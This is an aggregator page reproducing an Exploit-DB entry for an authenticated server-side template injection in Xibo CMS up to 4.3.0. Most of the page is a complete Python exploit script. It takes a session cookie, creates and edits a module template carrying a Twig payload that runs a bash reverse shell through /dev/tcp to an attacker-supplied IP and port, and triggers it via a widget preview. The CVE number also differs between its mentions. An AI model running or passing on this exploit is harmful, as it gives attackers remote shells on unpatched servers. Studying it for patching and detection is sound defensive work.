Security News

Cybersecurity news aggregator

🔓
HIGH Vulnerabilities Exploit-DB

[webapps] Xibo CMS 4.3.0 - RCE via SSTI

An authenticated Server-Side Template Injection (SSTI) vulnerability (CVE-2025-62369, CVSS 7.2 HIGH) in Xibo CMS allows remote code execution via crafted module templates. The flaw affects Xibo CMS versions 4.1.0 through 4.3.0. A fix is available in version 4.3.1.
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Xibo CMS 4.3.0 - RCE via SSTI EDB-ID: 52516 CVE: 2025-62639 EDB Verified: Author: CRISTIAN BRANET Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-29 Vulnerable App: # Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI # Date: 2025-11-04 # Exploit Author: Cristian Branet # Vendor Homepage: https://xibosignage.com/ # Software Link: https://github.com/xibosignage/xibo-cms/ # Version: < 4.3.1 # Tested on: Linux (Ubuntu 22.04) # CVE : CVE-2025-62639 # Article: https://cristibtz.github.io/posts/CVE-2025-62369/ import requests, argparse, pyfiglet, re, json, time parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)") parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID") parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell") parser.add_argument("-p", "--port", required=True, help="Port for reverse shell") class Exploit: def __init__(self, url, session, ip, port): self.url = url self.session = session self.ip = ip self.port = port self.headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" } def get_xsrf_token(self): try: response = requests.get(f"{url}/statusdashboard", headers=self.headers) except Exception as e: print(f"Error connecting to {url}: {e}") exit(1) text = response.text pattern = r'name="token" content="([a-f0-9]+)"' try: xsrf_token = re.search(pattern, text).group(1) except Exception as e: print(f"Error extracting XSRF token: {e}") exit(1) return xsrf_token def create_module_template(self, xsrf_token): timestamp = int(time.time()) headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } data = { "templateId": f"exploit_poc_{timestamp}", "title": "Template for PoC", "dataType": "article", "copyTemplateId": "", "showIn": "layout" } try: response = requests.post(f"{self.url}/developer/template", data=data, headers=headers) except Exception as e: print(f"Error creating module template: {e}") exit(1) response_info = json.loads(response.text) template_id = response_info["id"] return template_id, timestamp, f"exploit_poc_{timestamp}" def update_module_template(self, xsrf_token, template_id, name): headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } data = { "templateId":f"{name}", "title": f"Template for PoC - {name}", "dataType": "article", "showIn": "layout", "enabled": "on", "developer-template-properties": [], "properties": [], "twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>', "hbs": "", "style": "", "head": "", "onTemplateRender": "", "onTemplateVisible": "", "isInvalidateWidget": "on" } try: response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers) except Exception as e: print(f"Error updating module template: {e}") exit(1) response_info = json.loads(response.text) return response_info["success"] def create_normal_template(self, xsrf_token): timestamp = int(time.time()) headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } data = { "folderId": 1, "name": f"exploit_poc_template_{timestamp}", "tags": "", "tagValueInput": "", "resolutionId": 1, "description": "Exploit template" } try: response = requests.post(f"{self.url}/template", data=data, headers=headers) except Exception as e: print(f"Error creating normal template: {e}") exit(1) response_info = json.loads(response.text) template_id = response_info["id"] layout_id = response_info["data"]["layoutId"] region_id = response_info["data"]["regions"][0]["regionId"] playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"] return template_id, layout_id, region_id, playlist_id def add_rss_widget(self, xsrf_token, playlist_id, name): headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } data = { "templateId": f"{name}", } try: response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers) except Exception as e: print(f"Error adding RSS widget: {e}") exit(1) response_info = json.loads(response.text) widget_id = response_info["id"] return widget_id def preview_rss_widget(self, xsrf_token, widget_id, playlist_id): headers = { "Cookie": f"PHPSESSID={session}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "X-XSRF-TOKEN": f"{xsrf_token}", "X-Requested-With": "XMLHttpRequest" } try: response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers) except Exception as e: print(f"Error previewing RSS widget: {e}") exit(1) return response.status_code if __name__=="__main__": print("\n") print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100)) print("Author: Cristian Branet") print("GitHub: github.com/cristibtz") print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.") print("\n") args = parser.parse_args() url = args.url session = args.session_key ip = args.ip port = args.port xibo_exploit = Exploit(url, session, ip, port) try: xsrf_token = xibo_exploit.get_xsrf_token() except Exception as e: print(f"Error getting XSRF token: {e}") exit(1) print("Retrieved XSRF token: ") print(xsrf_token) try: module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token) except Exception as e: print(f"Error creating module template: {e}") exit(1) print(f"Created module template with id: {module_template_id} with name: {name}") try: update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name) except Exception as e: print(f"Error updating module template: {e}") exit(1) print(f"Updated module template with success: {update_success}") print("Creating normal template...") try: normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token) except Exception as e: print(f"Error creating normal template: {e}") exit(1) print("Created normal template with: ") print(f"Normal Template ID: {normal_template_id}") print(f"Layout ID: {layout_id}") print(f"Region ID: {region_id}") print(f"Playlist ID: {playlist_id}") print("Adding RSS widget to playlist...") try: widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name) except Exception as e: print(f"Error adding RSS widget: {e}") exit(1) print(f"Added RSS widget with ID: {widget_id}") print("Previewing RSS widget to trigger the exploit...") try: status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id) except Exception as e: print(f"Error previewing RSS widget: {e}") exit(1) if status_code == 200: print("Exploit triggered successfully! Check your listener for a reverse shell.") else: print("Failed to trigger the exploit.") Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article